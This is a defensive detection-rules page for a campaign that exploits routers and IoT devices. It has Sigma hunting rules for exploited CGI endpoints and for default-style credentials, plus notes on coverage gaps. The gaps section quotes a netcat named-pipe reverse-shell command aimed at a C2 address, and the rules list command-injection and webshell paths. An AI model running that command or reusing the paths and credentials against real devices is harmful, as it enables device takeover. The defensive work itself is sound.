Detection Rules — AdvancedRouterScanner Campaign

Campaign: AdvancedRouterScanner-Global-Router-Exploitation Date: 2025-10-25 Author: The Hunters Ledger License: CC BY 4.0 Reference: https://the-hunters-ledger.com/reports/AdvancedRouterScanner/

Detection Coverage Summary

AdvancedRouterScanner is a purpose-built exploitation framework targeting embedded router and IoT web-management interfaces, chaining CGI-endpoint exploitation, default-credential authentication, reverse-shell deployment, and multi-architecture botnet payload staging across a five-stage attack chain observed against a large population of embedded devices globally. Coverage here is intentionally scoped to the two behavioral leads that retain analyst value despite mixed false-positive profiles; the campaign’s atomic network and file-path indicators (reverse-shell C2 destination, payload-drop filename, payload-download host) are carried in the IOC feed rather than as standalone signatures.

Detection vs Hunting: Detection rules are high-fidelity and evasion-resilient, safe to alert on. Hunting rules are broader, for scoping and threat-hunting. Expect to review the hits.

Atomics routed to the IOC feed: the reverse-shell C2 destination 107.189.4.201:3778, the payload-drop filename /tmp/bn, and the payload-download host bot.gribostress.pro (resolving to 107.189.4.201) are transient indicators already carried in /ioc-feeds/AdvancedRouterScanner.json. Each of the three original rules keyed solely on one of these hardcoded values, and removing the literal leaves no behavior to detect. Block them via the feed.

Sigma Rules

Hunting Rules

Suspicious Router CGI Access

Tier: Hunting Robustness: 2 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: MODERATE Rationale: The selector list mixes genuinely malicious-only paths (/web_shell_cmd.gch, /system.cmd, /shell?command= — command-injection/webshell markers with no legitimate use) with core router administrative-UI endpoints (/apply.cgi, /boaform/admin/formLogin, /cgi-bin/config.cgi, /login.cgi, /setup.cgi) that see routine legitimate admin traffic. Because the selection is OR-matched, a hit on any administrative-surface path fires the rule exactly like a hit on a high-fidelity exploit path, so level: high on the combined selector overstated confidence — demoted to medium and scoped to Hunting. The endpoint set itself is durable (inherent to the vulnerable device’s web application layout, not something the operator can rename), which keeps it a useful triage lead regardless of infrastructure rotation. Logic fix 2026-10-10: the /shell?command= entry was listed under cs-uri-stem, which holds the path only and never the query string, so that entry could not match. It is now tested as a /shell stem plus a command= query, which is the request shape the entry describes. False Positives:

• Legitimate administrative logins and configuration changes via /login.cgi, /setup.cgi, /apply.cgi, and /boaform/admin/formLogin on the router’s own management interface.
• Vulnerability scanners and asset-inventory tools that probe the same CGI paths for version fingerprinting. Deployment: Web/proxy log monitoring at the network perimeter or router-fleet management plane; analyst review of hits, prioritizing /web_shell_cmd.gch, /system.cmd, and /shell?command= matches.

title: Suspicious Router CGI Access
id: e5afdda0-43fc-42b1-b429-05cb0e0bd34e
status: experimental
description: >-
    Detects HTTP requests to CGI endpoints and paths commonly exploited by
    router/IoT scanning and exploitation tools to achieve command execution
    or credential harvesting on embedded web management interfaces.
references:
    - https://the-hunters-ledger.com/hunting-detections/AdvancedRouterScanner-detections/
author: The Hunters Ledger
date: '2025-10-25'
modified: '2026-10-10'
tags:
    - attack.initial-access
    - attack.t1190
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection_stem:
        cs-uri-stem|contains:
            - "/web_shell_cmd.gch"
            - "/apply.cgi"
            - "/boaform/admin/formLogin"
            - "/cgi-bin/config.cgi"
            - "/login.cgi"
            - "/setup.cgi"
            - "/system.cmd"
    selection_shell_command:
        cs-uri-stem|endswith: "/shell"
        cs-uri-query|contains: "command="
    condition: 1 of selection_*
falsepositives:
    - Legitimate administrative access to router/IoT management interfaces
level: medium

Authentication Attempt with Default-Style Username and Password Substrings

Tier: Hunting Robustness: 2 ATT&CK Coverage: T1110.001 (Password Guessing) Confidence: MODERATE Rationale: The rule requires both a default-style username AND a default-style password from small curated lists, a genuinely tight AND-based match — but it evaluates a single authentication event with no count or threshold aggregation, so it detects “an auth attempt used default-like credentials,” not repeated brute-force attempts. The rule was retitled on 2026-10-10 from “Default Credential Brute Force” to say what the logic tests (round 2 of the same day: the username and password tests are substring matches, not exact default values); a brute-force reading comes from counting hits per source in the SIEM. Default credentials remain in active legitimate use on unhardened router/IoT fleets — the exact device category this campaign targets — so this is a real, recurring benign-hit scenario rather than a one-time setup artifact. level demoted from high to medium and scoped to Hunting accordingly; the durable, technique-level signal (an attacker enumerating known default credentials against the auth surface) still makes it a valuable triage lead. False Positives:

• Legitimate administrators authenticating to routers/IoT devices that were never hardened off default credentials.
• Automated asset-inventory or compliance-scanning tools that intentionally test for default-credential exposure. Deployment: Authentication log monitoring at the router/IoT fleet management plane; pair hits with a device-hardening audit rather than blind alerting.

title: Authentication Attempt with Default-Style Username and Password Substrings
id: b88fd219-6352-4cdb-9406-be4acdc7dfe8
status: experimental
description: >-
    Detects a single authentication event whose username contains one of
    admin, root, guest or operator and whose password contains one of admin,
    password, 1234 or changeme, against router and IoT management interfaces.
    Both tests are substring matches, so "myadmin" with "notpassword9" also
    fires; it is not an exact default-credential pair. The rule counts nothing, so repeated attempts from one source,
    which is what automated credential brute-forcing looks like, show up as
    many hits and need to be aggregated per source in the SIEM.
references:
    - https://the-hunters-ledger.com/hunting-detections/AdvancedRouterScanner-detections/
author: The Hunters Ledger
date: '2025-10-25'
modified: '2026-10-10'
tags:
    - attack.credential-access
    - attack.t1110.001
    - detection.emerging-threats
logsource:
    category: authentication
detection:
    selection:
        user|contains:
            - "admin"
            - "root"
            - "guest"
            - "operator"
        password|contains:
            - "admin"
            - "password"
            - "1234"
            - "changeme"
    condition: selection
falsepositives:
    - Legitimate administrators using default credentials before hardening a new device
level: medium

Coverage Gaps

Atomics routed to the IOC feed (3 of 5 original rules). Three of the file’s five original rules keyed solely on one hardcoded literal each, with no behavioral signal surviving the literal’s removal, per the tiering rubric’s routing test, these are IOC-feed entries, not rules:

• Reverse Shell Establishment, originally a freeform, non-conforming Suricata-style block (alert tcp any any -> 107.189.4.201 3778 (msg:"Reverse Shell to C2"; sid:200001; rev:1;)) with no content anchor and no flow/classtype/metadata, matching only the destination IP and port. A pure atomic. 107.189.4.201:3778 is already carried in /ioc-feeds/AdvancedRouterScanner.json (IOCs.Infrastructure).
• Suspicious Dropped Files in Temp Directory matched only the /tmp/bn staging filename. Already carried in the feed (IOCs.Payloads).
• Payload Download from Known Hosts matched only the exact hostname bot.gribostress.pro and IP 107.189.4.201. Both already carried in the feed (IOCs.Infrastructure).

No feed edits were required for these three. All were already present from the original analysis.

Reverse-shell technique visible in the IOC feed but not expressible as a network signature. The feed’s IOCs.Commands array preserves the literal shell command used to establish the reverse shell: mknod bOY p; /bin/sh < bOY | nc 107.189.4.201 3778 > bOY. A named-pipe (mknod/mkfifo) reverse shell targeting BusyBox/embedded Linux, consistent with T1059.004 (Unix Shell). This is a host-side process/command-execution artifact, not something distinguishable in network payload content. The raw netcat stream carries no protocol markers once the connection is established, so it cannot be expressed as a Suricata signature. What would enable a rule: host-level command-execution or auditd telemetry (EDR process-creation logging, or router-side syslog capturing shell invocation) would support a dedicated Sigma rule keyed on the mknod + /bin/sh + nc command combination.

Feed lists four exploited CGI endpoints the current rule does not cover. IOCs.ExploitEndpoints includes /goform/formLogin, /admin/login.cgi, /index.cgi, and /test_endpoint in addition to the eight paths already in the Suspicious Router CGI Access selection. /goform/formLogin and /admin/login.cgi are reasonable additions in the same vein as the existing legitimate-admin-surface paths already in the rule; /index.cgi and /test_endpoint are broad/generic enough (a common default landing-page name, and a name suggestive of internal tooling rather than a distinct exploited endpoint) that they would need dedicated false-positive evaluation before inclusion. They are not added here.

Multi-architecture botnet loader naming pattern not captured. IOCs.Payloads lists five CPU-architecture-suffixed downloader filenames (boatnet.mips, boatnet.mpsl, boatnet.arm, boatnet.ppc, boatnet.x86) plus main_mpsl, consistent with the classic Mirai-derivative technique of staging multiple architecture variants and executing whichever one the target CPU supports. No download-path or full-write-path telemetry was captured for these beyond the bare filenames, so a precise file-event or download-URI rule cannot be written with confidence. What would enable a rule: the full drop path and download-request telemetry (proxy/web log capturing the request URI, or file-event telemetry capturing the full write path) for the boatnet.* family.

License

Detection rules are licensed under Creative Commons Attribution 4.0 International (CC BY 4.0).
Free to use, including commercially, with attribution to The Hunters Ledger.

@misc{hunters-ledger-advancedrouterscanner-detections,
  author       = {Harrison, Joseph},
  title        = {Detection Rules — AdvancedRouterScanner Campaign},
  howpublished = {The Hunter's Ledger},
  year         = {2025},
  month        = {oct},
  url          = {https://the-hunters-ledger.com/hunting-detections/AdvancedRouterScanner-detections/},
  note         = {Published 25 October 2025. Licensed CC BY 4.0.}
}